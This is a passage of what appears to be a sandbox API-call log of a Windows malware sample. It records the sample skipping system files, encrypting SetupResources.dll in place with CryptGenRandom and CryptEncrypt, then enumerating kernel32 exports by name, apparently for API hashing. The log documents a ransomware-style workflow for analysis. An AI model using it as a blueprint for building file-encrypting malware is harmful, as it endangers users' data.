(lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0121.106] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0121.106] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0121.106] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0121.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0121.106] lstrlenW (lpString="SetupResources.dll") returned 18 [0121.106] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1033\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0121.106] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" [0121.106] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0121.106] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=17240) returned 1 [0121.106] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0121.106] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0121.382] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0121.382] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0121.382] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.383] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0121.383] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0121.383] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.384] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0121.384] CloseHandle (hObject=0x5f8) returned 1 [0121.384] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.384] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0121.385] CloseHandle (hObject=0x0) returned 0 [0121.385] CloseHandle (hObject=0x5f4) returned 1 [0121.386] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.386] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.386] GetTickCount () returned 0x33c4e [0121.386] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.387] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0121.387] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0121.387] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.387] lstrlenA (lpString="kernel32.dll") returned 12 [0121.387] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0121.387] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0121.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0121.387] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0121.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0121.387] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0121.387] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0121.387] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0121.388] lstrlenA (lpString="ADDATOMA") returned 8 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0121.388] lstrlenA (lpString="ADDATOMW") returned 8 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0121.388] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0121.388] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0121.388] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0121.388] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0121.388] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0121.388] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0121.388] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0121.388] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0121.388] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0121.388] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0121.388] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0121.388] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0121.388] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0121.388] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0121.388] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0121.388] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0121.388] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0121.388] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0121.389] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0121.389] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0121.389] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0121.389] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0121.389] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0121.389] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0121.389] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0121.389] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0121.389] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0121.389] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0121.389] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0121.389] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0121.389] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0121.389] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0121.389] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0121.389] lstrlenA (lpString="BACKUPREAD") returned 10 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0121.389] lstrlenA (lpString="BACKUPSEEK") returned 10 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0121.389] lstrlenA (lpString="BACKUPWRITE") returned 11 [0121.389] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0121.390] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0121.390] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0121.390] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0121.390] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0121.390] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0121.390] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0121.390] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0121.390] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0121.390] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0121.390] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0121.390] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0121.390] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0121.390] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0121.390] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0121.390] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0121.390] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0121.390] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0121.390] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0121.390] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0121.391] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0121.391] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0121.391] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0121.391] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0121.391] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0121.391] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0121.391] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0121.391] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0121.391] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0121.391] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0121.391] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0121.391] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0121.392] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0121.392] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0121.392] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0121.392] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0121.392] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0121.392] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0121.392] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0121.392] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0121.392] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0121.392] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0121.392] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0121.392] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0121.392] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0121.392] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0121.392] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0121.392] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0121.392] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0121.393] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0121.393] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0121.393] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0121.393] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0121.393] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0121.393] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0121.393] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0121.393] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0121.393] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0121.393] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0121.393] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 